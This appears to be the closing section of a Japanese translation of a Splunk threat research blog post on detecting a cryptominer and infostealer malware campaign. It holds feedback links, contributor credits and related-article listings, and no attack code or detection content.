f98a335a128a062323476454ae7c5490c5a134461
ab49ee05afa81b4714d033c

詳細情報

このブログは、セキュリティアナリスト、ブルーチーム、およびSplunkのお客様に、このクリプトマイナーおよびインフォスティーラーマルウェア攻撃で使われる戦術や手法を理解し、攻撃を検出するために役立てていただくことを目的としています。このブログで紹介した検出は、Enterprise Security Content Updates AppまたはSplunk Security Essentials Appを使って導入できます。Splunk脅威調査チームが提供するすべてのセキュリティコンテンツは、research.splunk.comのリポジトリでご確認いただけます。

フィードバック

ご意見やご要望がございましたら、GitHubから遠慮なくお寄せください。Slackチャネル「#security-research」にご参加いただくこともできます。SlackのSplunkユーザーグループへの招待が必要な場合は、こちらの手順に従ってください。

寄稿者

このブログ記事を執筆したTeoderick ContrerasとRod Soto、そして執筆にご協力いただいたSplunk脅威調査チームのJose Hernandez、Patrick Bareiss、Michael Haag、Lou Stella、Bhavin Patel、Eric McGinnis、Nasreddine Bencherchaliに感謝を申し上げます。

このブログはこちらの英語ブログの翻訳、山村 悟史によるレビューです。

関連記事

CrowdStrike製品によるWindows障害の影響を評価するためのSplunkセキュリティコンテンツ
セキュリティ
7 分程度

CrowdStrike製品によるWindows障害の影響を評価するためのSplunkセキュリティコンテンツ

このブログ記事では、SplunkとCrowdStrike製品をご利用のユーザー向けに、CrowdStrike製品による障害の影響範囲を詳しく調査する方法をご紹介します。
アイデンティティ/アクセス管理とは?
セキュリティ
11 分程度

アイデンティティ/アクセス管理とは?

アイデンティティをどのように管理していますか?アクセス管理はどうでしょうか?これらは今日、あらゆる企業や組織にとって関心の高い問題ですが、幸いにも明確な解決策が存在します。
URLの自動脅威分析でSIEMイベント処理を強化する
セキュリティ
3 分程度

URLの自動脅威分析でSIEMイベント処理を強化する

Splunk ESでURLの脅威分析を自動化してセキュリティ運用を強化するSplunk Add-on for Splunk Attack AnalyzerとSplunk App for Splunk Attack Analyzer v1.1がリリースされました。